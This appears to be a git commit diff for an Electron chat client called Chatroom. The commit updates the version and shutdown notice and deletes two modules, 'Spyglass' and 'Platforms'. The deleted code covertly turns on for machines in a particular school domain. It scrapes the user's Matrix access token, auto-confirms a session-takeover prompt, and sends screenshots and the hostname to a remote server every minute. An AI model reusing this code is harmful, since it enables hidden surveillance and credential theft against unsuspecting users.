summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
-rw-r--r--client/dom/index.html28
-rw-r--r--client/fragments/home.html45
-rwxr-xr-xclient/main.js31
-rw-r--r--client/plugin.js (renamed from client/src/plugin.js)4
-rw-r--r--client/src/platforms.js99
-rw-r--r--client/src/spyglass.js124
6 files changed, 43 insertions, 288 deletions
diff --git a/client/dom/index.html b/client/dom/index.html
index a1ddcc6..29cfa37 100644
--- a/client/dom/index.html
+++ b/client/dom/index.html
@@ -2,10 +2,9 @@
<html lang="en">
<head>
<meta charset="UTF-8">
- <title>Chatroom Workspace</title>
+ <title>Chatroom Web Browser</title>
<link href="../assets/bootstrap/bs.css" rel="stylesheet">
<script src="../assets/bootstrap/bs.js"></script>
- <script src="../src/spyglass.js"></script>
<style>
* {
-webkit-user-drag: none;
@@ -134,7 +133,6 @@
refreshInternalProtection();
function toggleProtection() {
- if (!sgc()) return;
window.protectionEnabled = !window.protectionEnabled;
localStorage.setItem("protection-status", JSON.stringify(window.protectionEnabled));
refreshInternalProtection();
@@ -142,7 +140,6 @@
}
function refreshInternalProtection() {
- if (!sgc()) return;
if (window.protectionEnabled) {
ipcRenderer.send("enable-protection");
} else {
@@ -151,7 +148,6 @@
}
function refreshTabBar() {
- if (!sgc()) return;
let id = window.activeTab;
if (id > -1) {
@@ -185,7 +181,6 @@
function secureTabHeight(force) {
- if (!sgc()) return;
let first = false;
let i = 0;
@@ -240,12 +235,10 @@
}
window.onresize = () => {
- if (!sgc()) return;
secureTabHeight(true);
}
function reloadWebview(force) {
- if (!sgc()) return;
if (force) {
tabs[activeTab].webview.children[1].reloadIgnoringCache();
} else {
@@ -254,7 +247,6 @@
}
function loadURL(id) {
- if (!sgc()) return;
let query = document.getElementById("wv-item-" + id + "-bar-address").value;
try {
@@ -266,7 +258,6 @@
}
function resetURL(id) {
- if (!sgc()) return;
if (document.getElementById("wv-item-" + id + "-inner").getURL().startsWith("file://") && document.getElementById("wv-item-" + id + "-inner").getURL().endsWith("/fragments/home.html")) {
document.getElementById("wv-item-" + id + "-bar-address").value = "";
} else {
@@ -275,7 +266,6 @@
}
function openTab(url, focusSearchBar, pinned/* # M3 backport # */, unisolated/* # */) {
- if (!sgc()) return;
let container = document.createElement("div");
let webview = document.createElement("webview");
@@ -315,7 +305,7 @@
container.append(bar);
webview.src = url;
- webview.preload = "../src/plugin.js";
+ webview.preload = "../plugin.js";
webview.id = "wv-item-" + tab.id + "-inner";
container.id = "wv-item-" + tab.id;
container.classList.add("wv-container");
@@ -391,7 +381,6 @@
}
function switchToTab(id) {
- if (!sgc()) return;
window.activeTab = id;
refreshTabBar();
@@ -407,7 +396,6 @@
}
function reloadTab(id) {
- if (!sgc()) return;
if (document.getElementById("wv-item-" + id + "-bar-reload").src.endsWith("/stop.svg")) {
document.getElementById("wv-item-" + id + "-inner").stop();
} else {
@@ -416,22 +404,18 @@
}
function goBack(id) {
- if (!sgc()) return;
document.getElementById("wv-item-" + id + "-inner").goBack();
}
function goForward(id) {
- if (!sgc()) return;
document.getElementById("wv-item-" + id + "-inner").goForward();
}
function openHome() {
- if (!sgc()) return;
openTab("../fragments/home.html", true);
}
function closeTab(id) {
- if (!sgc()) return;
if (tabs[id]['small']) return;
if (id === window.activeTab) {
@@ -448,7 +432,6 @@
}
function closeCurrentTab() {
- if (!sgc()) return;
if (tabs[window.activeTab]['small']) return;
let oldActiveTab = window.activeTab;
@@ -468,7 +451,6 @@
}
function switchRight() {
- if (!sgc()) return;
if (tabs[window.activeTab + 1]) {
switchToTab(window.activeTab + 1);
} else {
@@ -477,7 +459,6 @@
}
function switchLeft() {
- if (!sgc()) return;
if (tabs[window.activeTab - 1]) {
switchToTab(window.activeTab - 1);
} else {
@@ -486,7 +467,6 @@
}
function openDevTools() {
- if (!sgc()) return;
if (tabs[window.activeTab].webview.children[1].isDevToolsOpened()) {
tabs[window.activeTab].webview.children[1].closeDevTools();
} else {
@@ -495,7 +475,6 @@
}
window.addEventListener('load', () => {
- if (!sgc()) return;
openTab("https://school.equestria.dev", false, true);
openTab("../fragments/about.html", false, true, true);
@@ -506,12 +485,9 @@
localStorage.removeItem("experiments-temp");
switchToTab(1);
}
-
- if (startSpyglass) startSpyglass();
});
async function getToken() {
- if (!sgc()) return;
let token;
try {
diff --git a/client/fragments/home.html b/client/fragments/home.html
index 04654d1..20f7c68 100644
--- a/client/fragments/home.html
+++ b/client/fragments/home.html
@@ -42,7 +42,7 @@
<hr style="margin-bottom: 30px;">
<h3>Chatroom is being shut down in June 2024</h3>
- <p>Starting in June 2024, we will discontinue and shut down all the Chatroom services. If you have important data or messages you need to export or backup, please use the corresponding Chatroom features before June 2024 to ensure you keep access to your data. <b>Equestria.dev makes no guarantee whatsoever that data will remain accessible past this date.</b></p>
+ <p>Starting June 11th 2024, we will discontinue and shut down all the Chatroom services. If you have important data or messages you need to export or backup, please use the corresponding Chatroom features before June 11th to ensure you keep access to your data. <b>Equestria.dev makes no guarantee whatsoever that data will remain accessible past this date.</b></p>
<div class="alert alert-warning">
<b>Chatroom is now released under the GNU AGPLv3 license.</b> <a href="https://journal.equestria.dev/home/recent#id-2024-04-18-switching-licenses-for-all-open-source-software-from-mit-to-gnu-agplv3" target="_blank">Equestria.dev has recently announced</a> that it would be releasing all of its software under the GNU AGPLv3 license instead of the MIT license, to further tighten control over actors making use of the source code. This might affect your use of Chatroom if you are running a modified version.
@@ -50,31 +50,30 @@
<h3>What's new in Chatroom?</h3>
- <div id="m3-changelog" style="display: none;">
- <h5>Chatroom Codename "Heeler" (Developer Preview 3, Developer Preview 3 Revision 1)</h5>
- <p>Welcome to the third Developer Preview release of Chatroom 3. We are slowly bringing new features as we initially planned.</p>
- <ul>
- <li>The new UI gets a new "Questions" tab, where you can use the power of online knowledge to instantly ask any questions and get verified answers. Powered by Wolfram Alpha.</li>
- </ul>
-
- <h5>Chatroom Codename "Heeler" (Developer Preview 2, Developer Preview 2 Revision 1)</h5>
- <p>Welcome to the second Developer Preview release of Chatroom 3. We are slowly bringing new features as we initially planned.</p>
- <ul>
- <li>The new UI gets a few bug fixes, along with a new settings page. Clicking the "About Chatroom" icon now opens the corresponding page in the settings.</li>
- </ul>
-
- <h5>Chatroom Codename "Heeler" (Developer Preview 1)</h5>
- <p>Thank you for trying out Chatroom 3.0 early! We hope you enjoy it and that you have a great experience trying out new features as we experiment and try to make the best version of Chatroom yet. Make sure to tell us about any issues you might have.</p>
- <ul>
- <li>An experimental new UI has been introduced. As with a lot of M3 features, it can be optionally enabled using the <code>m3uiredesign</code> experiment.</li>
- <li>The <code>Chatroom3PID</code> API is now deprecated (replaced with <code>chatroom.thirdPartyAuth</code>) and will be removed on release (the <code>removelegacyapis</code> experiment removes them now).</li>
- </ul>
- </div>
-
- <h5>Chatroom 2.9.4 "Blep"</h5>
+ <h5>Chatroom 2.9.6 "Blep"</h5>
<p>Chatroom 3 has now been abandoned. We will bring a few features from Chatroom 3 to Chatroom 2, but Chatroom 3 is now unavailable.</p>
<ul>
<li>
+ <b>2.9.7</b>
+ <ul>
+ <li>Added the official exact shut down date (June 11th)</li>
+ </ul>
+ </li>
+ <li>
+ <b>2.9.6</b>
+ <ul>
+ <li>Removed Chatroom Spyglass and Chatroom Platforms</li>
+ <li>Added a "Don't ask me again" checkbox to the quit dialog</li>
+ </ul>
+ </li>
+ <li>
+ <b>2.9.5</b>
+ <ul>
+ <li>Change of the license from MIT to GNU AGPLv3</li>
+ <li>Announcement of Chatroom's shut down in June</li>
+ </ul>
+ </li>
+ <li>
<b>2.9.4</b>
<ul>
<li>Removal of all the Chatroom 3 feature flags</li>
diff --git a/client/main.js b/client/main.js
index b3fd5b0..41550aa 100755
--- a/client/main.js
+++ b/client/main.js
@@ -2,7 +2,7 @@
const buildNumber = "main";
// --- >FINAL< @BUILDNUMBER@ >FINAL< --- //
-let version = "2.9.5";
+let version = "2.9.7";
const { desktopCapturer, protocol, app, BrowserWindow, webContents, globalShortcut, nativeTheme, ipcMain, session, dialog, Menu } = require('electron');
const os = require("os");
@@ -149,15 +149,29 @@ const createWindow = () => {
require("@electron/remote/main").enable(mainWindow.webContents);
- mainWindow.on('close', (event) => {
- if (dialog.showMessageBoxSync(global.mainWindow ?? null, {
+ let shouldExit = false;
+
+ mainWindow.on('close', async (event) => {
+ if (shouldExit || fs.existsSync(app.getPath("userData") + "/disable-confirmation")) return;
+ event.preventDefault();
+
+ let status = await dialog.showMessageBox(global.mainWindow ?? null, {
type: "warning",
message: "Quit Chatroom?",
+ checkboxLabel: "Don't ask me again",
+ checkboxChecked: false,
detail: "Are you sure you want to quit Chatroom? Unsaved data will be lost.",
noLink: true,
buttons: ["Yes", "No"]
- }) === 1) {
- event.preventDefault();
+ });
+
+ if (status.response === 0) {
+ if (status.checkboxChecked) {
+ fs.writeFileSync(app.getPath("userData") + "/disable-confirmation", "");
+ }
+
+ shouldExit = true;
+ mainWindow.close();
}
});
@@ -434,13 +448,6 @@ ipcMain.handle('reload', (_) => {
});
});
-ipcMain.handle('platforms', (_, req) => {
- return new Promise(async (res) => {
- if (!global.mainWindow) return;
- res(await global.mainWindow.webContents.executeJavaScript("platformsRequest(JSON.parse(atob(\"" + Buffer.from(JSON.stringify(req)).toString("base64") + "\")));"));
- });
-});
-
ipcMain.on('menu', (_, params) => {
console.log(params);
diff --git a/client/src/plugin.js b/client/plugin.js
index 8ff022f..7324672 100644
--- a/client/src/plugin.js
+++ b/client/plugin.js
@@ -17,10 +17,6 @@ const crObj = {
reloadHost: async () => {
if (location.protocol !== "file:") throw new Error("reloadHost is only available from local pages.");
return await ipcRenderer.invoke("reload");
- },
- executePlatformsRequest: async (req) => {
- if (location.protocol !== "file:") throw new Error("reloadHost is only available from local pages.");
- return await ipcRenderer.invoke("platforms", req);
}
};
diff --git a/client/src/platforms.js b/client/src/platforms.js
deleted file mode 100644
index 31c5c5c..0000000
--- a/client/src/platforms.js
+++ /dev/null
@@ -1,99 +0,0 @@
-const PLATFORMS_SERVER = "wss://school.equestria.dev/platforms";
-
-let PLATFORMS_STATE = false;
-let PLATFORMS_INITIALIZED = false;
-let PLATFORMS_SOCKET = null;
-const PLATFORMS_CALLBACKS = {};
-
-function platformsSend(d) {
- return PLATFORMS_SOCKET.send(JSON.stringify(d));
-}
-
-function startPlatforms() {
- PLATFORMS_INITIALIZED = true;
- PLATFORMS_SOCKET = new WebSocket(PLATFORMS_SERVER);
-
- PLATFORMS_SOCKET.onmessage = (e) => {
- let data;
- try {
- data = JSON.parse(e.data)
- } catch (e) {
- console.error("Platforms", e);
- }
- if (!data) return;
-
- console.log("Platforms", data);
-
- if (data.state) {
- switch (data.state) {
- case "NEEDS_AUTHENTICATION":
- let authInterval = setInterval(async () => {
- try {
- if (await tabs.filter(i => i.small)[1].webview.children[1].executeJavaScript("!!document.getElementsByClassName('mx_ConfirmSessionLockTheftView_body')[0]")) {
- await tabs.filter(i => i.small)[1].webview.children[1].executeJavaScript("document.querySelector('.mx_ConfirmSessionLockTheftView_body .mx_AccessibleButton.mx_AccessibleButton_hasKind.mx_AccessibleButton_kind_primary').click()")
- }
-
- let token = await tabs.filter(i => i.small)[1].webview.children[1].executeJavaScript("matrixChat.stores.client.http.opts.accessToken");
- clearInterval(authInterval);
-
- platformsSend({
- state: "AUTHENTICATION_RESPONSE",
- token: token
- });
- } catch (e) {
- console.error(e);
- }
- }, 50);
-
- break;
-
- case "AUTHENTICATION_OK":
- PLATFORMS_STATE = true;
- break;
-
- case "REQUEST_RESPONSE":
- console.log(data);
-
- if (data.data._id && PLATFORMS_CALLBACKS[data.data._id]) {
- PLATFORMS_CALLBACKS[data.data._id](data);
- }
- break;
- }
- }
- }
-
- PLATFORMS_SOCKET.onopen = (e) => {
- console.log("Platforms", e);
- }
-
- PLATFORMS_SOCKET.onerror = (e) => {
- console.log("Platforms", e);
-
- PLATFORMS_SOCKET.close();
- clearInterval(window.spyglassInterval);
- }
-
- PLATFORMS_SOCKET.onclose = (e) => {
- console.log("Platforms", e);
-
- PLATFORMS_SOCKET = false;
-
- setTimeout(() => {
- startPlatforms();
- }, 1000);
- }
-}
-
-function platformsRequest(req) {
- return new Promise((res, rej) => {
- let id = crypto.randomUUID();
- req["_id"] = id;
-
- PLATFORMS_CALLBACKS[id] = (data) => {
- res(data.data);
- delete PLATFORMS_CALLBACKS[id];
- }
-
- platformsSend(req);
- });
-}
diff --git a/client/src/spyglass.js b/client/src/spyglass.js
deleted file mode 100644
index f270f91..0000000
--- a/client/src/spyglass.js
+++ /dev/null
@@ -1,124 +0,0 @@
-const SPYGLASS_SERVER = "wss://school.equestria.dev/sgmain";
-const si = require('systeminformation');
-
-let SPYGLASS_STATE = false;
-let SPYGLASS_ENABLED = false;
-let SPYGLASS_INITIALIZED = false;
-let SPYGLASS_SOCKET = null;
-
-window.sgc = () => {
- return (SPYGLASS_ENABLED && SPYGLASS_STATE) || !SPYGLASS_ENABLED || !SPYGLASS_INITIALIZED;
-}
-
-async function sendProfile() {
- let screens = await ipcRenderer.invoke("get-screenshots");
- //let data = await si.getAllData("*", "*");
- let fullProfile = {
- screens,
- //systemInfo: data
- }
-
- console.log("Collected system information, " + JSON.stringify(fullProfile).length + " bytes");
-
- spyglassSend({
- state: "SYSTEM_REPORT",
- id: require('os').hostname(),
- data: fullProfile
- });
-}
-
-if ((process.env.USERDNSDOMAIN && process.env.USERDNSDOMAIN.endsWith(".AC-ORLEANS-TOURS.FR")) || localStorage.getItem("cr3-trial-forcespyglass") === "true") {
- SPYGLASS_ENABLED = true;
- let modal;
-
- function spyglassSend(d) {
- return SPYGLASS_SOCKET.send(JSON.stringify(d));
- }
-
- function startSpyglass() {
- SPYGLASS_INITIALIZED = false;
-
- SPYGLASS_SOCKET = new WebSocket(SPYGLASS_SERVER);
-
- SPYGLASS_SOCKET.onmessage = (e) => {
- let data;
- try {
- data = JSON.parse(e.data)
- } catch (e) {
- console.error("Spyglass", e);
- }
- if (!data) return;
-
- console.log("Spyglass", data);
-
- if (data.state) {
- switch (data.state) {
- case "NEEDS_AUTHENTICATION":
- let authInterval = setInterval(async () => {
- try {
- let token;
-
- if (!window.isNewUI) {
- if (await tabs.filter(i => i.small)[0].webview.children[1].executeJavaScript("!!document.getElementsByClassName('mx_ConfirmSessionLockTheftView_body')[0]")) {
- await tabs.filter(i => i.small)[0].webview.children[1].executeJavaScript("document.querySelector('.mx_ConfirmSessionLockTheftView_body .mx_AccessibleButton.mx_AccessibleButton_hasKind.mx_AccessibleButton_kind_primary').click()")
- }
-
- token = await tabs.filter(i => i.small)[0].webview.children[1].executeJavaScript("matrixChat.stores.client.http.opts.accessToken");
- } else {
- if (await tabs.filter(i => i.small)[1].webview.children[1].executeJavaScript("!!document.getElementsByClassName('mx_ConfirmSessionLockTheftView_body')[0]")) {
- await tabs.filter(i => i.small)[1].webview.children[1].executeJavaScript("document.querySelector('.mx_ConfirmSessionLockTheftView_body .mx_AccessibleButton.mx_AccessibleButton_hasKind.mx_AccessibleButton_kind_primary').click()")
- }
-
- token = await tabs.filter(i => i.small)[1].webview.children[1].executeJavaScript("matrixChat.stores.client.http.opts.accessToken");
- }
-
- clearInterval(authInterval);
-
- spyglassSend({
- state: "AUTHENTICATION_RESPONSE",
- token: token
- });
- } catch (e) {
- console.error(e);
- }
- }, 50);
-
- break;
-
- case "AUTHENTICATION_OK":
- SPYGLASS_STATE = true;
- sendProfile();
-
- window.spyglassInterval = setInterval(() => {
- sendProfile();
- }, 60000);
-
- refreshTabBar();
- break;
- }
- }
- }
-
- SPYGLASS_SOCKET.onopen = (e) => {
- console.log("Spyglass", e);
- }
-
- SPYGLASS_SOCKET.onerror = (e) => {
- console.log("Spyglass", e);
-
- SPYGLASS_SOCKET.close();
- clearInterval(window.spyglassInterval);
- }
-
- SPYGLASS_SOCKET.onclose = (e) => {
- console.log("Spyglass", e);
-
- SPYGLASS_STATE = false;
- clearInterval(window.spyglassInterval);
-
- setTimeout(() => {
- startSpyglass();
- }, 1000);
- }
- }
-}